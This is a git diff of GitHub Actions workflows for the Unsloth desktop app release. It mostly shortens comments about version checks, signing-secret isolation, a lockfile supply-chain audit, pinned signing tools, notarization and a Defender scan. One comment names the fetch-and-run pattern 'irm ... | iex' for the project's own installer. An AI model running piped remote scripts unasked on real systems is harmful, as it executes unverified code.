index 46b89affe5a..25e3a5e8ea5 100644
--- a/.github/workflows/rag-upload-compatibility.yml
+++ b/.github/workflows/rag-upload-compatibility.yml
@@ -9,12 +9,7 @@ on:
- "studio/frontend/tests/rag-*"
- "tests/studio/rag_upload*"
- ".github/workflows/rag-upload-compatibility.yml"
- # tests/studio/rag_upload_ci.py also runs test_conversation_archive.py, whose
- # collection loads studio/backend/tests/conftest.py (which execs
- # tests/_shared/compile_cache_isolation.py and imports loggers), and runs every
- # project-attachment*.test.ts and project-source*.test.ts with node --test; those
- # import the helpers kit and store stubs and three chat modules outside
- # features/rag. The apt step shells out to retry-with-apt-lock.sh.
+ # rag_upload_ci.py also runs these tests and their conftest/helper imports.
- 'studio/backend/tests/test_conversation_archive.py'
- 'studio/backend/tests/conftest.py'
- 'tests/_shared/compile_cache_isolation.py'
diff --git a/.github/workflows/release-desktop.yml b/.github/workflows/release-desktop.yml
index 6217da8e0d7..a93072409e3 100644
--- a/.github/workflows/release-desktop.yml
+++ b/.github/workflows/release-desktop.yml
@@ -2,21 +2,8 @@ name: Release Desktop App
on:
workflow_dispatch:
- # Both version inputs are free text in the dispatch UI, and studio_version
- # alone decides the release tag and updater manifest version. Asset filenames
- # stay stable across releases. Near-miss tags are the failure mode worth
- # guarding, because they look right at a glance:
- #
- # studio_version v0.1.52-beta correct
- # v.0.1.52-beta rejected: stray dot after the leading v
- # 0.1.52-beta rejected: missing leading v
- # 2026.8.3 rejected: that is the PyPI version
- #
- # pypi_version 2026.8.3 correct, no leading v
- #
- # "Validate release versions" below rejects each of those by name before any
- # binary is built. Keep the examples here, in the descriptions, and in that
- # step's error messages on the same version so they cannot drift apart.
+ # studio_version alone decides the release tag (e.g. v0.1.52-beta); pypi_version has no v
+ # (e.g. 2026.8.3). Keep these examples in sync with the validation step's error messages.
inputs:
studio_version:
description: 'Unsloth SemVer tag to release, leading v with no dot after it (for example, v0.1.52-beta)'
@@ -51,23 +38,13 @@ env:
concurrency:
group: release-desktop-${{ github.repository }}
cancel-in-progress: false
- # publish-desktop-updater.yml shares this group and already sets queue: max.
- # Without it here, the default queue: single silently cancels a *pending*
- # release the moment a second one is dispatched or a publish lands, which
- # looks identical to a release that was never dispatched. A queued release
- # holds no runner, so waiting is free.
+ # queue: max, or a second dispatch or publish silently cancels a pending release.
queue: max
jobs:
- # There is no capacity-sweeper dispatch here. It used to ask ci-capacity.yml to
- # stand scheduled CI down while a release built, but that workflow is inert
- # unless the repo variable CI_PREEMPT_ENABLED is the exact string 'true', so
- # every release spent a runner on a job that resolved what it would have
- # cancelled and then touched nothing. Queue clearing is done by hand now.
prepare-version:
name: Prepare release versions
runs-on: ubuntu-latest
- # Version resolution only; observed 8-16s.
timeout-minutes: 15
outputs:
studio_version: ${{ steps.prepare.outputs.studio_version }}
@@ -76,15 +53,12 @@ jobs:
pypi_version: ${{ steps.backend.outputs.pypi_version }}
steps:
- # Before the checkout: for a malformed studio_version, actions/checkout would
- # fail on the ref with a generic error and none of the corrections below
- # would ever be printed.
+ # Before checkout, which would fail with a generic error on a malformed version.
- name: Validate release versions
id: prepare
shell: bash
env:
INPUT_STUDIO_VERSION: ${{ inputs.studio_version }}
- # Reading releases unauthenticated spends a quota shared by every runner.
GH_TOKEN: ${{ github.token }}
run: |
python3 <<'PY'
@@ -192,8 +166,7 @@ jobs:
PY
- # studio_version names an existing tag, so the backend pin and the stamp
- # check have to come from that tag, not a dispatch ref that has moved on.
+ # Check out the tag, not the dispatch ref, which may have moved on.
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
ref: ${{ steps.prepare.outputs.studio_version }}
@@ -281,8 +254,7 @@ jobs:
DESKTOP_RELEASE_TAG: ${{ steps.prepare.outputs.desktop_release_tag }}
run: |
set -euo pipefail
- # v{version} is tagged and published when main is tagged, before this runs,
- # so the tag existing is normal. What must be absent is the desktop asset set.
+ # The v tag existing is normal; what must be absent is the desktop asset set.
if ! response="$(gh api --include "repos/${GH_REPO}/releases/tags/${DESKTOP_RELEASE_TAG}" 2>&1)"; then
if [[ "$response" =~ ^HTTP/[0-9.]+\ 404\ ]]; then
echo "Release ${DESKTOP_RELEASE_TAG} does not exist." >&2
@@ -486,8 +458,6 @@ jobs:
build:
strategy:
fail-fast: false
- # Legs run in parallel: they share no state, only upload per-platform
- # artifacts, and publish-release does every release mutation once.
matrix:
include:
- platform: macos-latest
@@ -509,11 +479,7 @@ jobs:
args: ''
label: Windows (x64)
artifact: windows-x64
- # Cross-compiled from the same x64 runner: there is no ARM64 Windows
- # runner, and Tauri builds aarch64-pc-windows-msvc from x64 the way
- # the macOS leg builds aarch64-apple-darwin. NSIS is the only Windows
- # bundle target configured, which is the one that supports ARM64 (WiX
- # does not), so nothing in bundle.targets needs an exception here.
+ # Windows ARM64 is cross-compiled from x64; NSIS (not WiX) supports ARM64.
- platform: windows-latest
args: '--target aarch64-pc-windows-msvc'
label: Windows (ARM64)
@@ -522,22 +488,9 @@ jobs:
name: Build ${{ matrix.label }}
needs: prepare-version
runs-on: ${{ matrix.platform }}
- # Every signing secret in this workflow -- the Apple certificate and its
- # notarization credentials, the Azure Trusted Signing set, and the Tauri
- # updater private key -- is read by this job and no other. Naming an
- # environment here is what makes those thirteen secrets gateable: without
- # it there is no place to hang a required reviewer, so anyone who can
- # dispatch this workflow can sign a release under our identity.
- #
- # This is inert until protection rules exist on the environment. GitHub
- # creates a referenced-but-absent environment on first run with no rules
- # and no branch policy, and repository secrets keep resolving inside a job
- # that names an environment, so adding this line alone changes nothing
- # about how a release runs. Add required reviewers in repo settings to
- # actually close the gap; one approval releases all three matrix legs,
- # since pending deployments are approved per (run, environment).
+ # All signing secrets are read only by this job; the environment makes them gateable once
+ # required reviewers are configured in repo settings.
environment: release-signing
- # 6.9-20.9 min observed across platforms and cache states.
timeout-minutes: 60
env:
@@ -545,25 +498,16 @@ jobs:
APP_VERSION: ${{ needs.prepare-version.outputs.app_version }}
STUDIO_VERSION: ${{ needs.prepare-version.outputs.studio_version }}
DESKTOP_RELEASE_TAG: ${{ needs.prepare-version.outputs.desktop_release_tag }}
- # Compiled in by preflight/version.rs. Without it the app only knows the
- # floor, so a shared venv left by the CLI installer is never upgraded again.
+ # Without it a shared venv left by the CLI installer is never upgraded.
UNSLOTH_DESKTOP_BACKEND_VERSION: ${{ needs.prepare-version.outputs.pypi_version }}
steps:
- # harden-runner in audit mode: surfaces every egress destination in
- # the runner log so the allowlist for a future `egress-policy: block`
- # promotion can be derived from observed traffic. Blocking mode is
- # supported on GitHub-hosted Linux / macOS / Windows runners as of
- # harden-runner v2.20.0; stay in audit until the macOS + Windows
- # codesign paths have been observed.
- name: Harden runner (audit)
uses: step-security/harden-runner@ccd8616d44fd3846e67624a50d5aad6d37bf2d25 # v2.22.1
with:
egress-policy: audit
- # The tag, not the dispatch ref: the release is published before this runs and
- # main keeps moving, so building the dispatch ref would attach unrelated source
- # to the release and record a SHA that is not the tag's.
+ # The tag, not the dispatch ref: main keeps moving after the release is published.
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
ref: ${{ needs.prepare-version.outputs.desktop_release_tag }}
@@ -572,21 +516,13 @@ jobs:
# ── Linux dependencies ──
- name: Install Linux dependencies
if: startsWith(matrix.artifact, 'linux-')
- # Bounded and retried through the shared helper: an unbounded apt step does
- # not fail, it spends the job's whole budget and is reported as "cancelled"
- # with no reason and every later step skipped. update and install go as one
- # unit, since retrying the install after a stalled update re-reads the same
- # broken package list.
- # Two long attempts, not three short ones. 150s killed apt mid-`update`
- # against a mirror that was degraded rather than dead, and every attempt
- # then hit the same wall -- three kills and no result. The bound exists to
- # stop an infinite hang, not to race a slow mirror.
+ # Bounded and retried: a hung apt step is reported as `cancelled` with no reason.
+ # update + install retry as one unit; two long attempts, since slow mirrors are common.
timeout-minutes: 15
env:
RETRY_ATTEMPTS: '2'
RETRY_ATTEMPT_TIMEOUT: '360'
run: |
- # Install the GStreamer plugins needed for H.264 playback and capture.
bash .github/scripts/retry-with-apt-lock.sh sudo sh -c \
'apt-get install -y libwebkit2gtk-4.1-dev libappindicator3-dev librsvg2-dev libxdo-dev libssl-dev patchelf xdg-utils fonts-noto-color-emoji gstreamer1.0-plugins-good gstreamer1.0-plugins-bad gstreamer1.0-libav || { apt-get update && apt-get install -y libwebkit2gtk-4.1-dev libappindicator3-dev librsvg2-dev libxdo-dev libssl-dev patchelf xdg-utils fonts-noto-color-emoji gstreamer1.0-plugins-good gstreamer1.0-plugins-bad gstreamer1.0-libav; }'
@@ -598,21 +534,12 @@ jobs:
- name: Lockfile supply-chain audit (pre-install scan)
shell: bash
- # Must run BEFORE any `npm ci`. This job has
- # ``contents: write`` (release upload), so a compromised
- # lockfile that runs a malicious postinstall script during the
- # Tauri CLI install or frontend install below could publish
- # attacker-controlled binaries through the release. The audit
- # refuses the run before any npm lifecycle script executes.
+ # Must run BEFORE any `npm ci`: this job has contents: write, so a malicious lockfile
+ # postinstall could publish binaries.
run: python3 scripts/lockfile_supply_chain_audit.py
- name: Install pinned Tauri CLI
- # Lifecycle scripts (esbuild native-binary postinstall, etc.) are
- # required for `vite build`. The pre-install lockfile structural
- # audit (lockfile_supply_chain_audit.py) above is the practical
- # defence against the npm postinstall-dropper class -- it fires
- # BEFORE any tarball runs, on the injection pattern itself
- # rather than an advisory-DB lookup.
+ # Lifecycle scripts are required for `vite build`; the lockfile audit above runs first.
run: npm ci --prefix studio --no-fund --no-audit
- name: Verify pinned Tauri CLI
@@ -718,20 +645,13 @@ jobs:
- name: Install frontend dependencies
working-directory: studio/frontend
- # Lifecycle scripts (esbuild native-binary postinstall, etc.) are
- # required for `vite build`. The pre-install lockfile structural
- # audit (lockfile_supply_chain_audit.py) is the practical defence
- # against the npm postinstall-dropper class -- it fires BEFORE any
- # tarball runs, on the injection pattern itself rather than an
- # advisory-DB lookup.
+ # Lifecycle scripts are required for `vite build`; the lockfile audit runs first.
run: npm ci --no-fund --no-audit
# ── Rust ──
- name: Install Rust stable
uses: dtolnay/rust-toolchain@29eef336d9b2848a0b548edc03f92a220660cdb8 # stable @ 2026-03-27
with:
- # macOS installs both slices; the Windows ARM64 leg needs the cross target
- # installed or cargo fails with "target may not be installed".
targets: ${{ matrix.platform == 'macos-latest' && 'aarch64-apple-darwin,x86_64-apple-darwin' || (matrix.artifact == 'windows-arm64' && 'aarch64-pc-windows-msvc' || '') }}
- name: Patch desktop app version
@@ -806,32 +726,8 @@ jobs:
with:
workspaces: 'studio/src-tauri -> target'
- # Restore only, on every platform. Windows already did not save, because a
- # release build there can spend many minutes uploading the target cache after
- # the signed artifacts are ready, blocking the publisher for no release
- # benefit. The other legs now do not either, for a different reason.
- #
- # This job holds TAURI_SIGNING_PRIVATE_KEY, APPLE_ID, APPLE_PASSWORD,
- # APPLE_CERTIFICATE, KEYCHAIN_PASSWORD and the AZURE_* signing credentials,
- # and it was the only job in the organisation where a secret-bearing run wrote
- # a cache that pull requests can read. GitHub makes caches written on the
- # default branch restorable by every PR, so the blast radius of anything that
- # serialised one of those values into studio/src-tauri/target would have been
- # every contributor who can open one. That is the shape of the 2026-09-21
- # cargo-miri disclosure, where miri wrote the whole environment under target/
- # and CI cached it.
- #
- # Nothing here does that today, and it was checked rather than assumed: all
- # 673 locked dependencies were audited from source, 20 build scripts declare
- # cargo:rerun-if-env-changed, and the 27 variables they name include none of
- # the above. See tests/studio/test_cached_paths_hold_no_credentials.py for the
- # full result and the two runtime-constructed cases. But cargo writes the
- # VALUE of any rerun-if-env-changed variable into
- # target/<profile>/.fingerprint/*.json, which rust-cache preserves for
- # dependencies, so that clean result is a property of 673 third-party build
- # scripts rather than of anything in this repository, and it is re-decided by
- # every `cargo update`. Restoring is free of that risk; saving is not worth it
- # for a workflow_dispatch-only release that runs a handful of times a month.
+ # Restore only: this job holds signing secrets, and caches saved on main are readable by
+ # every PR. Cargo fingerprints can capture rerun-if-env-changed values.
save-if: false
# ── macOS: fail before the build if notarization cannot run ──
@@ -844,10 +740,7 @@ jobs:
APPLE_TEAM_ID: ${{ secrets.APPLE_TEAM_ID }}
run: |
set -euo pipefail
- # A missing secret arrives as an empty string, so `set -u` never sees
- # it, and tauri-action just skips notarization instead of failing.
- # Check before the release build so a rotated secret costs seconds
- # rather than a full compile.
+ # A missing secret is an empty string and tauri-action then silently skips notarization.
for required in APPLE_ID APPLE_PASSWORD APPLE_TEAM_ID; do
if [ -z "${!required:-}" ]; then
echo "Missing $required; refusing to publish an unnotarized disk image." >&2
@@ -863,11 +756,7 @@ jobs:
APPLE_CERTIFICATE_PASSWORD: ${{ secrets.APPLE_CERTIFICATE_PASSWORD }}
KEYCHAIN_PASSWORD: ${{ secrets.KEYCHAIN_PASSWORD }}
run: |
- # Unquoted, this is word-split and glob-expanded before base64 sees
- # it, and `echo` appends a newline. Base64 tolerates all three today,
- # which is why it has worked; a re-encoded or line-wrapped secret is
- # where it stops being tolerable. printf '%s' with quotes passes the
- # secret through byte for byte.
+ # Quoted printf passes the secret through byte for byte.
printf '%s' "$APPLE_CERTIFICATE" | base64 --decode > certificate.p12
security create-keychain -p "$KEYCHAIN_PASSWORD" build.keychain
security default-keychain -s build.keychain
@@ -879,25 +768,11 @@ jobs:
rm -f certificate.p12
# ── Windows: install Azure Trusted Signing CLI ──
- # This binary runs in the steps holding the Azure Trusted Signing and
- # Tauri signing secrets, so where it comes from is a signing-key question,
- # not a build-speed one. Caching the `cargo install` build (241s and 248s
- # on the last two runs) made the cache the source of truth: a hit skipped
- # the install, and the restored executable went on PATH gated only by a
- # `--version` probe, which any binary can print.
- #
- # Upstream publishes the same tool prebuilt, so pin it instead. The URL is
- # reproducibility, the SHA-256 is the integrity gate: a release asset can
- # be replaced after upload, and a replaced one now fails the release
- # rather than signing with an unknown binary. Same shape as the AppImage
- # toolchain below, and faster than the cache it replaces. Bump the URL and
- # the digest together when moving off 0.10.0.
+ # Pinned prebuilt with a SHA-256 check: this binary runs next to the signing secrets.
+ # Bump the URL and digest together.
- name: Install trusted-signing-cli
if: matrix.platform == 'windows-latest'
- # Explicit, like every other Windows step here. The retry parameters
- # below are PowerShell 6+ only, so under 5.1 the download fails with "A
- # parameter cannot be found that matches parameter name
- # 'MaximumRetryCount'". Naming the shell keeps that deliberate.
+ # pwsh: the retry parameters below need PowerShell 6+.
shell: pwsh
env:
TRUSTED_SIGNING_CLI_URL: "https://github.com/Levminer/artifact-signing-cli/releases/download/0.10.0/trusted-signing-cli.exe"
@@ -913,25 +788,17 @@ jobs:
$actual = (Get-FileHash -Path $dest -Algorithm SHA256).Hash.ToLower()
$expected = $env:TRUSTED_SIGNING_CLI_SHA256.ToLower()
if ($actual -ne $expected) {
- # Delete it first: a later step resolving this name off PATH must
- # not find the rejected download still sitting there.
Remove-Item -Force $dest
Write-Output "::error::trusted-signing-cli digest mismatch, refusing to sign with an unverified binary. Expected $expected, got $actual. Re-pin TRUSTED_SIGNING_CLI_SHA256 deliberately if upstream republished the asset."
exit 1
}
Write-Output "verified trusted-signing-cli sha256=$actual"
- # $GITHUB_PATH prepends, which is what this needs: swatinem/rust-cache
- # restores ~/.cargo/bin, already on PATH, and a stale entry there can
- # carry its own unverified copy of this binary. The verified one has
- # to win the name lookup.
+ # $GITHUB_PATH prepends, so the verified copy wins over a stale one in ~/.cargo/bin.
$dir | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
# ── Windows: verify signing CLI is accessible ──
- # Fails closed. This used to print a message and exit 0 on both branches,
- # so a missing or broken binary reported success and the failure only
- # surfaced later, inside the Tauri bundling step, as a signing error with
- # no obvious cause.
+ # Fails closed, so a broken binary does not surface later as an obscure signing error.
- name: Verify trusted-signing-cli
if: matrix.platform == 'windows-latest'
shell: pwsh
@@ -946,31 +813,19 @@ jobs:
}
Write-Output "resolved: $($cli.Source)"
- # The signing script invokes this by bare name, so whatever PATH
- # resolves is what signs. Only the digest-verified copy installed
- # above may do that; anything else on PATH under the same name (a
- # leftover in ~/.cargo/bin, say) is unverified by definition.
+ # Signing resolves the bare name, so PATH must resolve to the digest-verified copy.
$verified = [IO.Path]::GetFullPath((Join-Path (Join-Path $env:RUNNER_TEMP "trusted-signing-cli") "trusted-signing-cli.exe"))
if ([IO.Path]::GetFullPath($cli.Source) -ne $verified) {
Write-Output "::error::trusted-signing-cli resolved to $($cli.Source), not the verified $verified. Refusing to sign with a binary that was never digest checked."
exit 1
}
- # Two different failure modes, and neither one covers the other:
- # * the binary cannot be started at all (a truncated download gives
- # "Exec format error"). That raises a terminating error under
- # $ErrorActionPreference = "Stop", so it has to be caught or the
- # step dies here, before the message below.
- # * the binary starts and exits non-zero. That does NOT raise, so
- # $LASTEXITCODE has to be read explicitly.
+ # Catch start failures (terminating) and also check $LASTEXITCODE (non-terminating).
try {
& $cli.Source --version
}
catch {
- # The PowerShell error spans several lines (message, offending line,
- # caret). An annotation is truncated at the first newline, so flatten
- # it, and put the recovery ahead of the detail so it survives even if
- # the annotation is clipped for length.
+ # Annotations truncate at the first newline, so flatten and put the recovery first.
$detail = ($_.Exception.Message -replace '\s+', ' ').Trim()
Write-Output "::error::trusted-signing-cli could not be started. Re-run to fetch it again; if it persists the pinned asset is bad. Underlying error: $detail"
exit 1
@@ -1038,13 +893,7 @@ jobs:
uses: tauri-apps/tauri-action@1deb371b0cd8bd54025b384f1cd735e725c4060f # v1.0.0
env:
TAURI_SIGNING_PRIVATE_KEY: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY }}
- # The signing key is not password protected, and no secret of this name
- # exists, so this expression has always resolved to the empty string.
- # Stated literally rather than left pointing at a secret that is not
- # there: the value is unchanged, but it no longer reads as configuration
- # someone forgot to set. Empty is not the same as unset here -- tauri
- # prompts for a password when the variable is absent, which would hang
- # the job, so the line stays.
+ # Must be the empty string, not unset: tauri prompts for a password when absent and hangs.
TAURI_SIGNING_PRIVATE_KEY_PASSWORD: ''
APPLE_SIGNING_IDENTITY: ${{ secrets.APPLE_SIGNING_IDENTITY }}
APPLE_ID: ${{ secrets.APPLE_ID }}
@@ -1056,18 +905,12 @@ jobs:
args: -v ${{ matrix.args }}
# ── macOS: notarize + staple the disk image itself ──
- # tauri-bundler notarizes and staples the .app, but only codesigns the
- # .dmg it wraps around it (tauri-apps/tauri#7533). The disk image users
- # actually download therefore ships signed but without a notarization
- # ticket, so Gatekeeper has to phone home to clear it and blocks it
- # outright offline. Close that gap here and fail the release if any part
- # of it does not hold.
+ # tauri notarizes the .app but only codesigns the .dmg (tauri-apps/tauri#7533), so
+ # notarize and staple the disk image here.
- name: Notarize final macOS disk image
if: matrix.platform == 'macos-latest'
shell: bash
- # `--timeout` below caps the polling, but not the upload that precedes
- # it. Without a step-level backstop a stuck Notary service would burn
- # the whole job budget, so cap it tighter than the job here.
+ # --timeout does not cap the upload, so add a step backstop.
timeout-minutes: 45
env:
ARTIFACT_PATHS: ${{ steps.build_macos.outputs.artifactPaths }}
@@ -1100,17 +943,10 @@ jobs:
PY
)"
- # First gate, before the multi-minute upload: the bundler signs the
- # DMG whenever a signing identity is configured, so an unsigned image
- # here means the signing step silently did nothing.
+ # An unsigned DMG here means the signing step silently did nothing.
codesign --verify --verbose=2 "$dmg_path"
- # notarytool has no environment or stdin form for --password, so the
- # credentials are visible in argv and in the process table. That is
- # the accepted tradeoff on a single-tenant ephemeral runner;
- # --keychain-profile only moves the same arguments one command
- # earlier, and the one form without argv secrets is App Store Connect
- # API key auth, which needs a different secret type.
+ # notarytool has no non-argv form for --password; accepted on an ephemeral runner.
submit_status=0
submission="$(
xcrun notarytool submit "$dmg_path" \
@@ -1133,9 +969,7 @@ jobs:
2>/dev/null
)" || submission_result=""
if [ "$submit_status" -ne 0 ] || [ "$submission_result" != "Accepted" ]; then
- # The service verdict is part of the JSON contract, independently
- # of the command's exit code. Fetch the log whenever the response
- # identifies a failed submission.
+ # Check the JSON status independently of the exit code.
if [ -n "$submission_id" ]; then
xcrun notarytool log "$submission_id" \
--apple-id "$APPLE_ID" \
@@ -1149,8 +983,7 @@ jobs:
exit 1
fi
- # Apple's ticket lookup can lag behind an Accepted verdict or time
- # out against CloudKit. Retry it without weakening final validation.
+ # Ticket lookup can lag an Accepted verdict; retry it.
for attempt in 1 2 3; do
staple_status=0
xcrun stapler staple "$dmg_path" || staple_status=$?
@@ -1164,10 +997,7 @@ jobs:
echo "::warning::Stapling failed (attempt $attempt/3); retrying in ${delay}s."
sleep "$delay"
done
- # Stapling rewrites the image. `stapler validate` is what proves the
- # offline case, since spctl can clear an unstapled image from an
- # online CDN check; spctl then gives the verdict a user's machine
- # would reach.
+ # stapler validate proves the offline case; spctl alone can pass via an online check.
xcrun stapler validate "$dmg_path"
spctl --assess \
--type open \
@@ -1176,9 +1006,7 @@ jobs:
"$dmg_path"
# ── Windows: build + sign ──
- # install.ps1 is a bundle resource the bundler never signs, yet the app
- # runs it first. Sign before the build packs it in; the signature is an
- # appended comment block, so the repo copy for `irm ... | iex` is unaffected.
+ # install.ps1 is a bundle resource the bundler never signs, but the app runs it first.
- name: Sign the bundled install script
if: matrix.platform == 'windows-latest'
shell: pwsh
@@ -1196,10 +1024,7 @@ jobs:
Write-Host "install.ps1 -> $($sig.Status) $($sig.SignerCertificate.Subject)"
if ($sig.Status -ne 'Valid') { Write-Host "::error::install.ps1 is $($sig.Status) after signing"; exit 1 }
- # tauri-bundler downloads the NSIS toolset and WebView2 bootstrapper during
- # bundling with one unretried GET, after the full compile and signing pass;
- # one github.com 504 on nsis-3.11.zip failed the v0.1.901-beta Windows x64
- # leg. Seed its tools directory up front, retried and hash checked.
+ # Seed the NSIS/WebView2 tools retried and hash-checked; tauri fetches them unretried.
- name: Prefetch Tauri Windows bundler tools
if: matrix.platform == 'windows-latest'
shell: pwsh
@@ -1211,13 +1036,7 @@ jobs:
uses: tauri-apps/tauri-action@1deb371b0cd8bd54025b384f1cd735e725c4060f # v1.0.0
env:
TAURI_SIGNING_PRIVATE_KEY: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY }}
- # The signing key is not password protected, and no secret of this name
- # exists, so this expression has always resolved to the empty string.
- # Stated literally rather than left pointing at a secret that is not
- # there: the value is unchanged, but it no longer reads as configuration
- # someone forgot to set. Empty is not the same as unset here -- tauri
- # prompts for a password when the variable is absent, which would hang
- # the job, so the line stays.
+ # Must be the empty string, not unset: tauri prompts for a password when absent and hangs.
TAURI_SIGNING_PRIVATE_KEY_PASSWORD: ''
AZURE_CLIENT_ID: ${{ secrets.AZURE_CLIENT_ID }}
AZURE_CLIENT_SECRET: ${{ secrets.AZURE_CLIENT_SECRET }}
@@ -1230,10 +1049,8 @@ jobs:
args: -v ${{ matrix.args }}
# ── Windows: scan the signed bundles with Defender before publishing ──
- # 0.1.512-beta shipped a "Trojan:Win32/Wacatac.B!ml" false positive nothing
- # here caught. The runner disables Defender and excludes both drive roots,
- # so restore it and verify the restore took; "!ml" is a cloud verdict, so
- # MAPS must be on; MpCmdRun exit codes are ambiguous, so read the output.
+ # Runner disables Defender, so restore and verify it; "!ml" is a cloud verdict, so MAPS
+ # must be on; MpCmdRun exit codes are ambiguous, so read the output.
- name: Scan Windows bundles with Defender
if: matrix.platform == 'windows-latest'
# A custom MpCmdRun scan defaults to a one-day timeout.
@@ -1259,11 +1076,7 @@ jobs:
-CloudExtendedTimeout 50 -DisableBlockAtFirstSeen $false `
-PUAProtection Enabled -ErrorAction Continue
- # Set-MpPreference returns before the service has applied the change, and
- # on a runner whose image ships real-time protection off it can be
- # ignored outright. Retry, then settle, so a slow apply is not read as a
- # refusal. Tamper protection is the usual reason a refusal sticks, and it
- # cannot be turned off from here, so record it for the verdict below.
+ # Set-MpPreference returns before it applies; retry and settle. Tamper protection is noted.
$rtpOn = $false
foreach ($try in 1..5) {
$rtpStatus = $null
@@ -1283,8 +1096,7 @@ jobs:
Write-Host "real-time protection could not be enabled after 5 attempts (IsTamperProtected=$tamperProtected)"
}
- # Audit (2), never Block: 01443614 approximates the cloud-reputation half
- # of a Smart App Control verdict, and fires on low prevalence, i.e. ours.
+ # Audit (2), never Block: 01443614 fires on low prevalence, i.e. our builds.
$asrRules = @(
'01443614-cd74-433a-b99e-2ecdc07bfc25', # low prevalence / new file
'be9ba2d9-53ea-4cdc-84e5-9b1eeee46550', # executable content from mail
@@ -1294,7 +1106,6 @@ jobs:
$asrActions = @('AuditMode') * $asrRules.Count
Add-MpPreference -AttackSurfaceReductionRules_Ids $asrRules `
-AttackSurfaceReductionRules_Actions $asrActions -ErrorAction Continue
- # A rule that did not apply reports no events, like one that found none.
# Add-MpPreference is additive: check the action, not just the id.
$asrPref = Get-MpPreference
$asrIds = @($asrPref.AttackSurfaceReductionRules_Ids)
@@ -1310,7 +1121,6 @@ jobs:
if ($asrBad) { Write-Host "::warning::ASR audit rules not in audit mode: $($asrBad -join '; ')" }
else { Write-Host "ASR audit rules applied: $($asrRules.Count)" }
- # Bounds the ASR event query below; that log is shared with the runner.
$scanStart = Get-Date
$mp = "$env:ProgramFiles\Windows Defender\MpCmdRun.exe"
@@ -1320,11 +1130,7 @@ jobs:
Update-MpSignature -UpdateSource MicrosoftUpdateServer -ErrorAction Continue
& $mp -SignatureUpdate 2>&1 | Write-Host
- # Read these defensively. A runner can come up with the Defender WMI
- # provider dead ("Provider load failure") and the service RPC endpoint
- # down (0x800106ba), which is how the platform incident on 2026-08-06
- # presented: the cmdlets throw, $status/$pref land null, and every check
- # below then reads as a misconfiguration it is not.
+ # Read defensively: the Defender WMI provider and service RPC can be down on a runner.
$status = $null
$pref = $null
$unavailable = @()
@@ -1335,11 +1141,8 @@ jobs:
if (-not $unavailable -and -not $status) { $unavailable += 'Get-MpComputerStatus returned nothing' }
if (-not $unavailable -and -not $pref) { $unavailable += 'Get-MpPreference returned nothing' }
- # Absent scanner vs. bad verdict: only a missing scanner may skip; a
- # misconfigured one or a real detection still fails. Dead cmdlets are not
- # a missing scanner - WMI and service RPC back them, MpCmdRun talks to
- # the engine directly - and conflating the two shipped three releases
- # unscanned since 2026-08-06. Let the EICAR control below decide.
+ # Only a missing scanner may skip; dead cmdlets are not a missing scanner, so the EICAR
+ # control below decides.
$cmdletsDown = [bool]$unavailable
if ($cmdletsDown) {
Write-Host "::warning::Defender cmdlets are unavailable on this runner ($($unavailable -join '; ')); configuration cannot be read or enforced. Falling back to a direct MpCmdRun scan."
@@ -1348,27 +1151,12 @@ jobs:
Write-Host "engine $($status.AMEngineVersion), signatures $($status.AntivirusSignatureVersion) ($($status.AntivirusSignatureLastUpdated))"
}
- # Set-MpPreference can return cleanly and still be ignored, so verify.
- # Split by whether the gap invalidates the verdict: cloud-delivered
- # protection is inactive without active mode, MAPS and block-at-first-
- # sight, and "!ml" is a cloud verdict, so a clean result without them
- # cannot see what this gate exists to catch. Leftover exclusions only
- # weaken it, since -DisableRemediation ignores file exclusions.
- # Guard each check on the cmdlet that read it, not a blanket flag: the
- # two fail independently (live WMI call vs. registry), so a blanket
- # guard drops a readable $pref's MAPS and block-at-first-sight checks.
+ # Verify each setting; cloud gaps invalidate a clean verdict. Guard each check on the
+ # cmdlet that read it, since the two fail independently.
$fatal = @()
$degraded = @()
- # Real-time protection is on-access scanning, and this job never opens
- # the bundle: it scans copies on demand with MpCmdRun. What its absence
- # actually costs is block-at-first-sight, which only consults the cloud
- # on an on-access open. The cloud verdicts this gate exists to catch
- # ("!ml", low prevalence) still reach an on-demand scan through MAPS,
- # so treat it as fatal only when the scan cannot be trusted on its own
- # terms - that is, when the EICAR control did not fire or MAPS is
- # unreachable, both of which are already fatal in their own right below.
- # Deciding that here would read $controlPassed before it is set, so the
- # demotion is applied after the control runs.
+ # RTP off only loses block-at-first-sight for on-demand scans; it is demoted after the
+ # EICAR control runs, since that decision needs $controlPassed.
$rtpOff = $false
if ($status) {
if (-not $status.RealTimeProtectionEnabled) {
@@ -1380,15 +1168,12 @@ jobs:
if ([int]$pref.MAPSReporting -ne 2) { $fatal += "MAPSReporting=$($pref.MAPSReporting), expected 2 (Advanced)" }
if ($pref.DisableBlockAtFirstSeen) { $fatal += 'DisableBlockAtFirstSeen=true' }
if ([int]$pref.SubmitSamplesConsent -ne 3) { $degraded += "SubmitSamplesConsent=$($pref.SubmitSamplesConsent), expected 3 (SendAllSamples)" }
- # 4 is HighPlus; a refused change leaves the old level, not zero.
if ([int]$pref.CloudBlockLevel -ne 4) { $degraded += "CloudBlockLevel=$($pref.CloudBlockLevel), expected 4 (HighPlus)" }
- # PUA is a separate class, off by default: unwanted-not-malicious passes.
if ([int]$pref.PUAProtection -ne 1) { $degraded += "PUAProtection=$($pref.PUAProtection), expected 1 (Enabled)" }
if ($pref.ExclusionPath) { $degraded += "exclusions remain: $($pref.ExclusionPath -join ',')" }
}
- # Configuration is not connectivity. Retried, so one network blip does
- # not block a release.
+ # Configuration is not connectivity. Retried, so one network blip does not block a release.
$maps = $false
foreach ($try in 1..3) {
$mapsOut = (& $mp -ValidateMapsConnection 2>&1 | Out-String)
@@ -1396,15 +1181,13 @@ jobs:
Write-Host " MAPS check $try failed: $($mapsOut.Trim())"
Start-Sleep -Seconds (5 * $try)
}
- # Cmdlets down: losing the cloud degrades rather than blocks the release
- # outright - signature detections still fire, only "!ml" verdicts do not.
+ # Cmdlets down: losing the cloud degrades rather than blocks; signatures still fire.
if (-not $maps) {
if ($cmdletsDown) { $degraded += 'cannot reach the Defender cloud service, so "!ml" cloud verdicts cannot fire' }
else { $fatal += 'cannot reach the Defender cloud service' }
}
- # Positive control: clean and broken-scanner look identical. Split into
- # fragments so this file is not itself a sample.
+ # Positive control; fragmented so this file is not itself a sample.
